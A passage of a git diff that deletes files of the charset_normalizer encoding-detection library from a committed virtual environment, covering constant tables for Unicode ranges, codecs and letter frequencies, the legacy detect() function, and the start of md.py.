Unified Ideographs Extension H": "CJK", - "CJK Unified Ideographs Extension J": "CJK", - "Tags": "Tags", - "Variation Selectors Supplement": "Variation Selectors", - "Supplementary Private Use Area-A": "Private Use", - "Supplementary Private Use Area-B": "Private Use", -} - - -class CompatibleFamillyRange: - __slots__ = ("_families",) - - def __init__(self, familly_a: str, familly_b: str) -> None: - self._families: frozenset[str] = frozenset((familly_a, familly_b)) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, CompatibleFamillyRange): - return NotImplemented - - return self._families == other._families - - def __hash__(self) -> int: - return hash(self._families) - - -_COMPATIBLE_RANGE_FAMILIES: frozenset[CompatibleFamillyRange] = frozenset( - { - CompatibleFamillyRange("CJK", "Hiragana"), - CompatibleFamillyRange("CJK", "Katakana"), - CompatibleFamillyRange("CJK", "Kana"), - CompatibleFamillyRange("CJK", "Bopomofo"), - CompatibleFamillyRange("CJK", "Kanbun"), - CompatibleFamillyRange("Hiragana", "Katakana"), - CompatibleFamillyRange("Hiragana", "Kana"), - CompatibleFamillyRange("Katakana", "Kana"), - CompatibleFamillyRange("CJK", "Hangul"), - CompatibleFamillyRange("Latin", "IPA"), - CompatibleFamillyRange("Latin", "Phonetic"), - CompatibleFamillyRange("IPA", "Phonetic"), - CompatibleFamillyRange("Latin", "Spacing Modifier Letters"), - CompatibleFamillyRange("IPA", "Spacing Modifier Letters"), - CompatibleFamillyRange("Phonetic", "Spacing Modifier Letters"), - CompatibleFamillyRange("Alphabetic Presentation Forms", "Latin"), - CompatibleFamillyRange("Alphabetic Presentation Forms", "Armenian"), - CompatibleFamillyRange("Alphabetic Presentation Forms", "Hebrew"), - CompatibleFamillyRange("Halfwidth and Fullwidth Forms", "Latin"), - CompatibleFamillyRange("Halfwidth and Fullwidth Forms", "CJK"), - CompatibleFamillyRange("Halfwidth and Fullwidth Forms", "Hiragana"), - CompatibleFamillyRange("Halfwidth and Fullwidth Forms", "Katakana"), - CompatibleFamillyRange("Halfwidth and Fullwidth Forms", "Kana"), - CompatibleFamillyRange("Halfwidth and Fullwidth Forms", "Hangul"), - } -) - -_COMPATIBLE_WITH_ANY_RANGE_FAMILIES: frozenset[str] = frozenset( - {"Combining", "Variation Selectors", "Emoticons", "Pictographs"} -) - -_BASIC_LATIN_COMPATIBLE_RANGE_FAMILIES: frozenset[str] = frozenset( - {"CJK", "Hangul", "Hiragana", "Katakana", "Kana", "Bopomofo", "Kanbun"} -) - - -UNICODE_SECONDARY_RANGE_KEYWORD: list[str] = [ - "Supplement", - "Extended", - "Extensions", - "Modifier", - "Marks", - "Punctuation", - "Symbols", - "Forms", - "Operators", - "Miscellaneous", - "Drawing", - "Block", - "Shapes", - "Supplemental", - "Tags", -] - -RE_POSSIBLE_ENCODING_INDICATION = re_compile( - r"(?:(?:encoding)|(?:charset)|(?:coding))(?:[\:= ]{1,10})(?:[\"\']?)([a-zA-Z0-9\-_]+)(?:[\"\']?)", - IGNORECASE, -) - -IANA_NO_ALIASES = [ - "cp720", - "cp737", - "cp856", - "cp874", - "cp875", - "cp1006", - "koi8_r", - "koi8_t", - "koi8_u", -] - -IANA_SUPPORTED: list[str] = sorted( - filter( - lambda x: not x.endswith("_codec") and x not in {"rot_13", "tactis", "mbcs"}, - list(set(aliases.values())) + IANA_NO_ALIASES, - ) -) - -IANA_SUPPORTED_COUNT: int = len(IANA_SUPPORTED) - -# pre-computed code page that are similar using the function cp_similarity. -IANA_SUPPORTED_SIMILAR: dict[str, list[str]] = { - "cp037": ["cp1026", "cp1140", "cp273", "cp500"], - "cp1026": ["cp037", "cp1140", "cp273", "cp500"], - "cp1125": ["cp866"], - "cp1140": ["cp037", "cp1026", "cp273", "cp500"], - "cp1250": ["iso8859_2"], - "cp1251": ["kz1048", "ptcp154"], - "cp1252": ["iso8859_15", "iso8859_9", "latin_1"], - "cp1253": ["iso8859_7"], - "cp1254": ["iso8859_15", "iso8859_9", "latin_1"], - "cp1257": ["iso8859_13"], - "cp273": ["cp037", "cp1026", "cp1140", "cp500"], - "cp437": ["cp850", "cp858", "cp860", "cp861", "cp862", "cp863", "cp865"], - "cp500": ["cp037", "cp1026", "cp1140", "cp273"], - "cp850": ["cp437", "cp857", "cp858", "cp865"], - "cp857": ["cp850", "cp858", "cp865"], - "cp858": ["cp437", "cp850", "cp857", "cp865"], - "cp860": ["cp437", "cp861", "cp862", "cp863", "cp865"], - "cp861": ["cp437", "cp860", "cp862", "cp863", "cp865"], - "cp862": ["cp437", "cp860", "cp861", "cp863", "cp865"], - "cp863": ["cp437", "cp860", "cp861", "cp862", "cp865"], - "cp865": ["cp437", "cp850", "cp857", "cp858", "cp860", "cp861", "cp862", "cp863"], - "cp866": ["cp1125"], - "iso8859_10": ["iso8859_14", "iso8859_15", "iso8859_4", "iso8859_9", "latin_1"], - "iso8859_11": ["tis_620"], - "iso8859_13": ["cp1257"], - "iso8859_14": [ - "iso8859_10", - "iso8859_15", - "iso8859_16", - "iso8859_3", - "iso8859_9", - "latin_1", - ], - "iso8859_15": [ - "cp1252", - "cp1254", - "iso8859_10", - "iso8859_14", - "iso8859_16", - "iso8859_3", - "iso8859_9", - "latin_1", - ], - "iso8859_16": [ - "iso8859_14", - "iso8859_15", - "iso8859_2", - "iso8859_3", - "iso8859_9", - "latin_1", - ], - "iso8859_2": ["cp1250", "iso8859_16", "iso8859_4"], - "iso8859_3": ["iso8859_14", "iso8859_15", "iso8859_16", "iso8859_9", "latin_1"], - "iso8859_4": ["iso8859_10", "iso8859_2", "iso8859_9", "latin_1"], - "iso8859_7": ["cp1253"], - "iso8859_9": [ - "cp1252", - "cp1254", - "cp1258", - "iso8859_10", - "iso8859_14", - "iso8859_15", - "iso8859_16", - "iso8859_3", - "iso8859_4", - "latin_1", - ], - "kz1048": ["cp1251", "ptcp154"], - "latin_1": [ - "cp1252", - "cp1254", - "cp1258", - "iso8859_10", - "iso8859_14", - "iso8859_15", - "iso8859_16", - "iso8859_3", - "iso8859_4", - "iso8859_9", - ], - "mac_iceland": ["mac_roman", "mac_turkish"], - "mac_roman": ["mac_iceland", "mac_turkish"], - "mac_turkish": ["mac_iceland", "mac_roman"], - "ptcp154": ["cp1251", "kz1048"], - "tis_620": ["iso8859_11"], -} - - -CHARDET_CORRESPONDENCE: dict[str, str] = { - "iso2022_kr": "ISO-2022-KR", - "iso2022_jp": "ISO-2022-JP", - "euc_kr": "EUC-KR", - "tis_620": "TIS-620", - "utf_32": "UTF-32", - "euc_jp": "EUC-JP", - "koi8_r": "KOI8-R", - "iso8859_1": "ISO-8859-1", - "iso8859_2": "ISO-8859-2", - "iso8859_5": "ISO-8859-5", - "iso8859_6": "ISO-8859-6", - "iso8859_7": "ISO-8859-7", - "iso8859_8": "ISO-8859-8", - "utf_16": "UTF-16", - "cp855": "IBM855", - "mac_cyrillic": "MacCyrillic", - "gb2312": "GB2312", - "gb18030": "GB18030", - "cp932": "CP932", - "cp866": "IBM866", - "utf_8": "utf-8", - "utf_8_sig": "UTF-8-SIG", - "shift_jis": "SHIFT_JIS", - "big5": "Big5", - "cp1250": "windows-1250", - "cp1251": "windows-1251", - "cp1252": "Windows-1252", - "cp1253": "windows-1253", - "cp1255": "windows-1255", - "cp1256": "windows-1256", - "cp1254": "Windows-1254", - "cp949": "CP949", -} - - -COMMON_SAFE_ASCII_CHARACTERS: frozenset[str] = frozenset( - { - "<", - ">", - "=", - ":", - "/", - "&", - ";", - "{", - "}", - "[", - "]", - ",", - "|", - '"', - "-", - "(", - ")", - } -) - -# Sample character sets — replace with full lists if needed -COMMON_CHINESE_CHARACTERS = "的一是在不了有和人这中大为上个国我以要他时来用们生到作地于出就分对成会可主发年动同工也能下过子说产种面而方后多定行学法所民得经十三之进着等部度家电力里如水化高自二理起小物现实加量都两体制机当使点从业本去把性好应开它合还因由其些然前外天政四日那社义事平形相全表间样与关各重新线内数正心反你明看原又么利比或但质气第向道命此变条只没结解问意建月公无系军很情者最立代想已通并提直题党程展五果料象员革位入常文总次品式活设及管特件长求老头基资边流路级少图山统接知较将组见计别她手角期根论运农指几九区强放决西被干做必战先回则任取据处队南给色光门即保治北造百规热领七海口东导器压志世金增争济阶油思术极交受联什认六共权收证改清己美再采转更单风切打白教速花带安场身车例真务具万每目至达走积示议声报斗完类八离华名确才科张信马节话米整空元况今集温传土许步群广石记需段研界拉林律叫且究观越织装影算低持音众书布复容儿须际商非验连断深难近矿千周委素技备半办青省列习响约支般史感劳便团往酸历市克何除消构府太准精值号率族维划选标写存候毛亲快效斯院查江型眼王按格养易置派层片始却专状育厂京识适属圆包火住调满县局照参红细引听该铁价严龙飞" - -COMMON_JAPANESE_CHARACTERS = "日一国年大十二本中長出三時行見月分後前生五間上東四今金九入学高円子外八六下来気小七山話女北午百書先名川千水半男西電校語土木聞食車何南万毎白天母火右読友左休父雨" - -COMMON_KOREAN_CHARACTERS = "一二三四五六七八九十百千萬上下左右中人女子大小山川日月火水木金土父母天地國名年時文校學生" - -# Combine all into a frozenset -COMMON_CJK_CHARACTERS = frozenset( - "".join( - [ - COMMON_CHINESE_CHARACTERS, - COMMON_JAPANESE_CHARACTERS, - COMMON_KOREAN_CHARACTERS, - ] - ) -) - -KO_NAMES: frozenset[str] = frozenset({"johab", "cp949", "euc_kr"}) -ZH_NAMES: frozenset[str] = frozenset({"big5", "cp950", "big5hkscs", "hz"}) - -# Logging LEVEL below DEBUG -TRACE: int = 5 - - -# Language label that contain the em dash "—" -# character are to be considered alternative seq to origin -FREQUENCIES: dict[str, list[str]] = { - "English": [ - "e", - "a", - "t", - "i", - "o", - "n", - "s", - "r", - "h", - "l", - "d", - "c", - "u", - "m", - "f", - "p", - "g", - "w", - "y", - "b", - "v", - "k", - "x", - "j", - "z", - "q", - ], - "English—": [ - "e", - "a", - "t", - "i", - "o", - "n", - "s", - "r", - "h", - "l", - "d", - "c", - "m", - "u", - "f", - "p", - "g", - "w", - "b", - "y", - "v", - "k", - "j", - "x", - "z", - "q", - ], - "German": [ - "e", - "n", - "i", - "r", - "s", - "t", - "a", - "d", - "h", - "u", - "l", - "g", - "o", - "c", - "m", - "b", - "f", - "k", - "w", - "z", - "p", - "v", - "ü", - "ä", - "ö", - "j", - ], - "French": [ - "e", - "a", - "s", - "n", - "i", - "t", - "r", - "l", - "u", - "o", - "d", - "c", - "p", - "m", - "é", - "v", - "g", - "f", - "b", - "h", - "q", - "à", - "x", - "è", - "y", - "j", - ], - "Dutch": [ - "e", - "n", - "a", - "i", - "r", - "t", - "o", - "d", - "s", - "l", - "g", - "h", - "v", - "m", - "u", - "k", - "c", - "p", - "b", - "w", - "j", - "z", - "f", - "y", - "x", - "ë", - ], - "Italian": [ - "e", - "i", - "a", - "o", - "n", - "l", - "t", - "r", - "s", - "c", - "d", - "u", - "p", - "m", - "g", - "v", - "f", - "b", - "z", - "h", - "q", - "è", - "à", - "k", - "y", - "ò", - ], - "Polish": [ - "a", - "i", - "o", - "e", - "n", - "r", - "z", - "w", - "s", - "c", - "t", - "k", - "y", - "d", - "p", - "m", - "u", - "l", - "j", - "ł", - "g", - "b", - "h", - "ą", - "ę", - "ó", - ], - "Spanish": [ - "e", - "a", - "o", - "n", - "s", - "r", - "i", - "l", - "d", - "t", - "c", - "u", - "m", - "p", - "b", - "g", - "v", - "f", - "y", - "ó", - "h", - "q", - "í", - "j", - "z", - "á", - ], - "Russian": [ - "о", - "е", - "а", - "и", - "н", - "т", - "с", - "р", - "в", - "л", - "к", - "м", - "д", - "п", - "у", - "г", - "я", - "ы", - "з", - "б", - "й", - "ь", - "ч", - "х", - "ж", - "ц", - ], - # Jap-Kanji - "Japanese": [ - "日", - "一", - "人", - "年", - "大", - "十", - "二", - "本", - "中", - "長", - "出", - "三", - "時", - "行", - "見", - "月", - "分", - "後", - "前", - "生", - "五", - "間", - "上", - "東", - "四", - "今", - "金", - "九", - "入", - "学", - "高", - "円", - "子", - "外", - "八", - "六", - "下", - "来", - "気", - "小", - "七", - "山", - "話", - "女", - "北", - "午", - "百", - "書", - "先", - "名", - "川", - "千", - "水", - "半", - "男", - "西", - "電", - "校", - "語", - "土", - "木", - "聞", - "食", - "車", - "何", - "南", - "万", - "毎", - "白", - "天", - "母", - "火", - "右", - "読", - "友", - "左", - "休", - "父", - "雨", - ], - # Jap-Katakana - "Japanese—": [ - "ー", - "ン", - "ス", - "・", - "ル", - "ト", - "リ", - "イ", - "ア", - "ラ", - "ッ", - "ク", - "ド", - "シ", - "レ", - "ジ", - "タ", - "フ", - "ロ", - "カ", - "テ", - "マ", - "ィ", - "グ", - "バ", - "ム", - "プ", - "オ", - "コ", - "デ", - "ニ", - "ウ", - "メ", - "サ", - "ビ", - "ナ", - "ブ", - "ャ", - "エ", - "ュ", - "チ", - "キ", - "ズ", - "ダ", - "パ", - "ミ", - "ェ", - "ョ", - "ハ", - "セ", - "ベ", - "ガ", - "モ", - "ツ", - "ネ", - "ボ", - "ソ", - "ノ", - "ァ", - "ヴ", - "ワ", - "ポ", - "ペ", - "ピ", - "ケ", - "ゴ", - "ギ", - "ザ", - "ホ", - "ゲ", - "ォ", - "ヤ", - "ヒ", - "ユ", - "ヨ", - "ヘ", - "ゼ", - "ヌ", - "ゥ", - "ゾ", - "ヶ", - "ヂ", - "ヲ", - "ヅ", - "ヵ", - "ヱ", - "ヰ", - "ヮ", - "ヽ", - "゠", - "ヾ", - "ヷ", - "ヿ", - "ヸ", - "ヹ", - "ヺ", - ], - # Jap-Hiragana - "Japanese——": [ - "の", - "に", - "る", - "た", - "と", - "は", - "し", - "い", - "を", - "で", - "て", - "が", - "な", - "れ", - "か", - "ら", - "さ", - "っ", - "り", - "す", - "あ", - "も", - "こ", - "ま", - "う", - "く", - "よ", - "き", - "ん", - "め", - "お", - "け", - "そ", - "つ", - "だ", - "や", - "え", - "ど", - "わ", - "ち", - "み", - "せ", - "じ", - "ば", - "へ", - "び", - "ず", - "ろ", - "ほ", - "げ", - "む", - "べ", - "ひ", - "ょ", - "ゆ", - "ぶ", - "ご", - "ゃ", - "ね", - "ふ", - "ぐ", - "ぎ", - "ぼ", - "ゅ", - "づ", - "ざ", - "ぞ", - "ぬ", - "ぜ", - "ぱ", - "ぽ", - "ぷ", - "ぴ", - "ぃ", - "ぁ", - "ぇ", - "ぺ", - "ゞ", - "ぢ", - "ぉ", - "ぅ", - "ゐ", - "ゝ", - "ゑ", - "゛", - "゜", - "ゎ", - "ゔ", - "゚", - "ゟ", - "゙", - "ゕ", - "ゖ", - ], - "Portuguese": [ - "a", - "e", - "o", - "s", - "i", - "r", - "d", - "n", - "t", - "m", - "u", - "c", - "l", - "p", - "g", - "v", - "b", - "f", - "h", - "ã", - "q", - "é", - "ç", - "á", - "z", - "í", - ], - "Swedish": [ - "e", - "a", - "n", - "r", - "t", - "s", - "i", - "l", - "d", - "o", - "m", - "k", - "g", - "v", - "h", - "f", - "u", - "p", - "ä", - "c", - "b", - "ö", - "å", - "y", - "j", - "x", - ], - "Chinese": [ - "的", - "一", - "是", - "不", - "了", - "在", - "人", - "有", - "我", - "他", - "这", - "个", - "们", - "中", - "来", - "上", - "大", - "为", - "和", - "国", - "地", - "到", - "以", - "说", - "时", - "要", - "就", - "出", - "会", - "可", - "也", - "你", - "对", - "生", - "能", - "而", - "子", - "那", - "得", - "于", - "着", - "下", - "自", - "之", - "年", - "过", - "发", - "后", - "作", - "里", - "用", - "道", - "行", - "所", - "然", - "家", - "种", - "事", - "成", - "方", - "多", - "经", - "么", - "去", - "法", - "学", - "如", - "都", - "同", - "现", - "当", - "没", - "动", - "面", - "起", - "看", - "定", - "天", - "分", - "还", - "进", - "好", - "小", - "部", - "其", - "些", - "主", - "样", - "理", - "心", - "她", - "本", - "前", - "开", - "但", - "因", - "只", - "从", - "想", - "实", - ], - "Ukrainian": [ - "о", - "а", - "н", - "і", - "и", - "р", - "в", - "т", - "е", - "с", - "к", - "л", - "у", - "д", - "м", - "п", - "з", - "я", - "ь", - "б", - "г", - "й", - "ч", - "х", - "ц", - "ї", - ], - "Norwegian": [ - "e", - "r", - "n", - "t", - "a", - "s", - "i", - "o", - "l", - "d", - "g", - "k", - "m", - "v", - "f", - "p", - "u", - "b", - "h", - "å", - "y", - "j", - "ø", - "c", - "æ", - "w", - ], - "Finnish": [ - "a", - "i", - "n", - "t", - "e", - "s", - "l", - "o", - "u", - "k", - "ä", - "m", - "r", - "v", - "j", - "h", - "p", - "y", - "d", - "ö", - "g", - "c", - "b", - "f", - "w", - "z", - ], - "Vietnamese": [ - "n", - "h", - "t", - "i", - "c", - "g", - "a", - "o", - "u", - "m", - "l", - "r", - "à", - "đ", - "s", - "e", - "v", - "p", - "b", - "y", - "ư", - "d", - "á", - "k", - "ộ", - "ế", - ], - "Czech": [ - "o", - "e", - "a", - "n", - "t", - "s", - "i", - "l", - "v", - "r", - "k", - "d", - "u", - "m", - "p", - "í", - "c", - "h", - "z", - "á", - "y", - "j", - "b", - "ě", - "é", - "ř", - ], - "Hungarian": [ - "e", - "a", - "t", - "l", - "s", - "n", - "k", - "r", - "i", - "o", - "z", - "á", - "é", - "g", - "m", - "b", - "y", - "v", - "d", - "h", - "u", - "p", - "j", - "ö", - "f", - "c", - ], - "Korean": [ - "이", - "다", - "에", - "의", - "는", - "로", - "하", - "을", - "가", - "고", - "지", - "서", - "한", - "은", - "기", - "으", - "년", - "대", - "사", - "시", - "를", - "리", - "도", - "인", - "스", - "일", - ], - "Indonesian": [ - "a", - "n", - "e", - "i", - "r", - "t", - "u", - "s", - "d", - "k", - "m", - "l", - "g", - "p", - "b", - "o", - "h", - "y", - "j", - "c", - "w", - "f", - "v", - "z", - "x", - "q", - ], - "Turkish": [ - "a", - "e", - "i", - "n", - "r", - "l", - "ı", - "k", - "d", - "t", - "s", - "m", - "y", - "u", - "o", - "b", - "ü", - "ş", - "v", - "g", - "z", - "h", - "c", - "p", - "ç", - "ğ", - ], - "Romanian": [ - "e", - "i", - "a", - "r", - "n", - "t", - "u", - "l", - "o", - "c", - "s", - "d", - "p", - "m", - "ă", - "f", - "v", - "î", - "g", - "b", - "ș", - "ț", - "z", - "h", - "â", - "j", - ], - "Farsi": [ - "ا", - "ی", - "ر", - "د", - "ن", - "ه", - "و", - "م", - "ت", - "ب", - "س", - "ل", - "ک", - "ش", - "ز", - "ف", - "گ", - "ع", - "خ", - "ق", - "ج", - "آ", - "پ", - "ح", - "ط", - "ص", - ], - "Arabic": [ - "ا", - "ل", - "ي", - "م", - "و", - "ن", - "ر", - "ت", - "ب", - "ة", - "ع", - "د", - "س", - "ف", - "ه", - "ك", - "ق", - "أ", - "ح", - "ج", - "ش", - "ط", - "ص", - "ى", - "خ", - "إ", - ], - "Danish": [ - "e", - "r", - "n", - "t", - "a", - "i", - "s", - "d", - "l", - "o", - "g", - "m", - "k", - "f", - "v", - "u", - "b", - "h", - "p", - "å", - "y", - "ø", - "æ", - "c", - "j", - "w", - ], - "Serbian": [ - "а", - "и", - "о", - "е", - "н", - "р", - "с", - "у", - "т", - "к", - "ј", - "в", - "д", - "м", - "п", - "л", - "г", - "з", - "б", - "a", - "i", - "e", - "o", - "n", - "ц", - "ш", - ], - "Lithuanian": [ - "i", - "a", - "s", - "o", - "r", - "e", - "t", - "n", - "u", - "k", - "m", - "l", - "p", - "v", - "d", - "j", - "g", - "ė", - "b", - "y", - "ų", - "š", - "ž", - "c", - "ą", - "į", - ], - "Slovene": [ - "e", - "a", - "i", - "o", - "n", - "r", - "s", - "l", - "t", - "j", - "v", - "k", - "d", - "p", - "m", - "u", - "z", - "b", - "g", - "h", - "č", - "c", - "š", - "ž", - "f", - "y", - ], - "Slovak": [ - "o", - "a", - "e", - "n", - "i", - "r", - "v", - "t", - "s", - "l", - "k", - "d", - "m", - "p", - "u", - "c", - "h", - "j", - "b", - "z", - "á", - "y", - "ý", - "í", - "č", - "é", - ], - "Hebrew": [ - "י", - "ו", - "ה", - "ל", - "ר", - "ב", - "ת", - "מ", - "א", - "ש", - "נ", - "ע", - "ם", - "ד", - "ק", - "ח", - "פ", - "ס", - "כ", - "ג", - "ט", - "צ", - "ן", - "ז", - "ך", - ], - "Bulgarian": [ - "а", - "и", - "о", - "е", - "н", - "т", - "р", - "с", - "в", - "л", - "к", - "д", - "п", - "м", - "з", - "г", - "я", - "ъ", - "у", - "б", - "ч", - "ц", - "й", - "ж", - "щ", - "х", - ], - "Croatian": [ - "a", - "i", - "o", - "e", - "n", - "r", - "j", - "s", - "t", - "u", - "k", - "l", - "v", - "d", - "m", - "p", - "g", - "z", - "b", - "c", - "č", - "h", - "š", - "ž", - "ć", - "f", - ], - "Hindi": [ - "क", - "र", - "स", - "न", - "त", - "म", - "ह", - "प", - "य", - "ल", - "व", - "ज", - "द", - "ग", - "ब", - "श", - "ट", - "अ", - "ए", - "थ", - "भ", - "ड", - "च", - "ध", - "ष", - "इ", - ], - "Estonian": [ - "a", - "i", - "e", - "s", - "t", - "l", - "u", - "n", - "o", - "k", - "r", - "d", - "m", - "v", - "g", - "p", - "j", - "h", - "ä", - "b", - "õ", - "ü", - "f", - "c", - "ö", - "y", - ], - "Thai": [ - "า", - "น", - "ร", - "อ", - "ก", - "เ", - "ง", - "ม", - "ย", - "ล", - "ว", - "ด", - "ท", - "ส", - "ต", - "ะ", - "ป", - "บ", - "ค", - "ห", - "แ", - "จ", - "พ", - "ช", - "ข", - "ใ", - ], - "Greek": [ - "α", - "τ", - "ο", - "ι", - "ε", - "ν", - "ρ", - "σ", - "κ", - "η", - "π", - "ς", - "υ", - "μ", - "λ", - "ί", - "ό", - "ά", - "γ", - "έ", - "δ", - "ή", - "ω", - "χ", - "θ", - "ύ", - ], - "Tamil": [ - "க", - "த", - "ப", - "ட", - "ர", - "ம", - "ல", - "ன", - "வ", - "ற", - "ய", - "ள", - "ச", - "ந", - "இ", - "ண", - "அ", - "ஆ", - "ழ", - "ங", - "எ", - "உ", - "ஒ", - "ஸ", - ], - "Kazakh": [ - "а", - "ы", - "е", - "н", - "т", - "р", - "л", - "і", - "д", - "с", - "м", - "қ", - "к", - "о", - "б", - "и", - "у", - "ғ", - "ж", - "ң", - "з", - "ш", - "й", - "п", - "г", - "ө", - ], -} - -LANGUAGE_SUPPORTED_COUNT: int = len(FREQUENCIES) - -# Bit flags for unified character classification. -# A single unicodedata.name() call sets all relevant flags at once. -_LATIN: int = 1 -_ACCENTUATED: int = 1 << 1 -_CJK: int = 1 << 2 -_HANGUL: int = 1 << 3 -_KATAKANA: int = 1 << 4 -_HIRAGANA: int = 1 << 5 -_THAI: int = 1 << 6 -_ARABIC: int = 1 << 7 -_ARABIC_ISOLATED_FORM: int = 1 << 8 -_HALFWIDTH_KATAKANA: int = 1 << 9 -_LIGATURE: int = 1 << 10 -_SUPERSCRIPT: int = 1 << 11 -_SENTENCE_OPEN_PUNCTUATION: int = 1 << 12 - -_ACCENT_KEYWORDS: tuple[str, ...] = ( - "WITH GRAVE", - "WITH ACUTE", - "WITH CEDILLA", - "WITH DIAERESIS", - "WITH CIRCUMFLEX", - "WITH TILDE", - "WITH MACRON", - "WITH RING ABOVE", -) - -# Pre-built lookup structures for FREQUENCIES (computed once at import time). -# character -> rank mapping per language (replaces list .index() calls). -_FREQUENCIES_RANK: dict[str, dict[str, int]] = { - lang: {char: rank for rank, char in enumerate(chars)} - for lang, chars in FREQUENCIES.items() -} - -# frozenset per language (avoids rebuilding set() per call). -_FREQUENCIES_SET: dict[str, frozenset[str]] = { - lang: frozenset(chars) for lang, chars in FREQUENCIES.items() -} - -# prebuilt list of secondary range names. -_SECONDARY_RANGE_NAMES: frozenset[str] = frozenset( - range_name - for range_name in UNICODE_RANGES_COMBINED - if any(keyword in range_name for keyword in UNICODE_SECONDARY_RANGE_KEYWORD) -) - -_KNOWN_MB_DECODERS: frozenset[str] = frozenset( - { - "utf_8", - "utf_8_sig", - "utf_16", - "utf_16_be", - "utf_16_le", - "utf_32", - "utf_32_le", - "utf_32_be", - "utf_7", - } -) - -_KNOWN_MB_CLASSES: frozenset[str] = frozenset( - { - "_codecs_cn", - "_codecs_hk", - "_codecs_iso2022", - "_codecs_jp", - "_codecs_kr", - "_codecs_tw", - } -) - -_IANA_NAMES: dict[str, str] = { - **aliases, - **{iana_name: iana_name for iana_name in aliases.values()}, -} -_MULTIBYTE_SEARCH_RADIUS: int = 32768 diff --git a/venv/Lib/site-packages/charset_normalizer/legacy.py b/venv/Lib/site-packages/charset_normalizer/legacy.py deleted file mode 100644 index 3af232cfd2cfba3f50d40f440572ed2ce5215224..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/legacy.py +++ /dev/null @@ -1,79 +0,0 @@ -from __future__ import annotations - -from typing import TYPE_CHECKING, Any -from warnings import warn - -from .api import from_bytes -from .constant import CHARDET_CORRESPONDENCE, TOO_SMALL_SEQUENCE - -if TYPE_CHECKING: - from typing import TypedDict - - class ResultDict(TypedDict): - encoding: str | None - language: str - confidence: float | None - - -def detect( - byte_str: bytes, should_rename_legacy: bool = False, **kwargs: Any -) -> ResultDict: - """ - chardet legacy method - Detect the encoding of the given byte string. It should be mostly backward-compatible. - Encoding name will match Chardet own writing whenever possible. (Not on encoding name unsupported by it) - This function is deprecated and should be used to migrate your project easily, consult the documentation for - further information. Not planned for removal. - - :param byte_str: The byte sequence to examine. - :param should_rename_legacy: Should we rename legacy encodings - to their more modern equivalents? - """ - if len(kwargs): - warn( - f"charset-normalizer disregard arguments '{','.join(list(kwargs.keys()))}' in legacy function detect()" - ) - - if not isinstance(byte_str, (bytearray, bytes)): - raise TypeError( # pragma: nocover - f"Expected object of type bytes or bytearray, got: {type(byte_str)}" - ) - - if isinstance(byte_str, bytearray): - byte_str = bytes(byte_str) - - r = from_bytes(byte_str).best() - - encoding = r.encoding if r is not None else None - language = r.language if r is not None and r.language != "Unknown" else "" - confidence = 1.0 - r.chaos if r is not None else None - - # automatically lower confidence - # on small bytes samples. - # https://github.com/jawah/charset_normalizer/issues/391 - if ( - confidence is not None - and confidence >= 0.9 - and encoding - not in { - "utf_8", - "ascii", - } - and not r.bom # type: ignore[union-attr] - and len(byte_str) < TOO_SMALL_SEQUENCE - ): - confidence -= 0.2 - - # Note: CharsetNormalizer does not return 'UTF-8-SIG' as the sig get stripped in the detection/normalization process - # but chardet does return 'utf-8-sig' and it is a valid codec name. - if r is not None and encoding == "utf_8" and r.bom: - encoding += "_sig" - - if not should_rename_legacy and encoding in CHARDET_CORRESPONDENCE: - encoding = CHARDET_CORRESPONDENCE[encoding] - - return { - "encoding": encoding, - "language": language, - "confidence": confidence, - } diff --git a/venv/Lib/site-packages/charset_normalizer/md.cp314-win_amd64.pyd b/venv/Lib/site-packages/charset_normalizer/md.cp314-win_amd64.pyd deleted file mode 100644 index 71684ea0342c71115244e16438235c7e9d4cd7a4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/md.cp314-win_amd64.pyd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:faf5cb006492b3526abcbfdac9a0d39cd52d32425292db9d2a210d8b44d9d925 -size 198144 diff --git a/venv/Lib/site-packages/charset_normalizer/md.py b/venv/Lib/site-packages/charset_normalizer/md.py deleted file mode 100644 index c4e726f0c38c991362f0ef88cc78fb2c1a94a847..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/md.py +++ /dev/null @@ -1,1063 +0,0 @@ -from __future__ import annotations - -from functools import lru_cache -from logging import getLogger - - -from .constant import ( - COMMON_CJK_CHARACTERS, - COMMON_SAFE_ASCII_CHARACTERS, - TRACE, - CompatibleFamillyRange, - _ACCENTUATED, - _ARABIC, - _ARABIC_ISOLATED_FORM, - _BASIC_LATIN_COMPATIBLE_RANGE_FAMILIES, - _CJK, - _COMPATIBLE_RANGE_FAMILIES, - _COMPATIBLE_WITH_ANY_RANGE_FAMILIES, - _HANGUL, - _HALFWIDTH_KATAKANA, - _HIRAGANA, - _KATAKANA, - _LATIN, - _LIGATURE, - _RANGE_FAMILIES, - _SENTENCE_OPEN_PUNCTUATION, - _SUPERSCRIPT, - _THAI, -) -from .utils import ( - _character_flags, - is_emoticon, - is_punctuation, - is_separator, - is_symbol, - remove_accent, - unicode_range, -) - -# Combined bitmask for CJK/Hangul/Katakana/Hiragana/Thai glyph detection. -_GLYPH_MASK: int = _CJK | _HANGUL | _KATAKANA | _HIRAGANA | _THAI - - -class CharInfo: - """Pre-computed character properties shared across all detectors.""" - - __slots__ = ( - "character", - "printable", - "alpha", - "upper", - "lower", - "space", - "digit", - "is_ascii", - "case_variable", - "flags", - "accentuated", - "latin", - "is_cjk", - "is_katakana", - "is_halfwidth_katakana", - "is_arabic", - "is_ligature", - "is_superscript", - "is_sentence_open_punctuation", - "is_glyph", - "punct", - "sym", - "range", - "sep", - "emoticon", - "safe", - "common_cjk", - "unaccented", - ) - - character: str - printable: bool - alpha: bool - upper: bool - lower: bool - space: bool - digit: bool - is_ascii: bool - case_variable: bool - flags: int - accentuated: bool - latin: bool - is_cjk: bool - is_katakana: bool - is_halfwidth_katakana: bool - is_arabic: bool - is_ligature: bool - is_superscript: bool - is_sentence_open_punctuation: bool - is_glyph: bool - punct: bool - sym: bool - range: str | None - sep: bool - emoticon: bool - safe: bool - common_cjk: bool - unaccented: str - - def __init__(self, character: str) -> None: - """Compute all properties for *character* (built once per codepoint, - every branch assigns every slot).""" - self.character = character - - # ASCII fast-path: for characters with ord < 128, we can skip - # _character_flags() entirely and derive most properties from ord. - o: int = ord(character) - if o < 128: - self.is_ascii = True - self.accentuated = False - self.unaccented = character - self.emoticon = False - self.common_cjk = False - self.safe = character in COMMON_SAFE_ASCII_CHARACTERS - self.is_cjk = False - self.is_katakana = False - 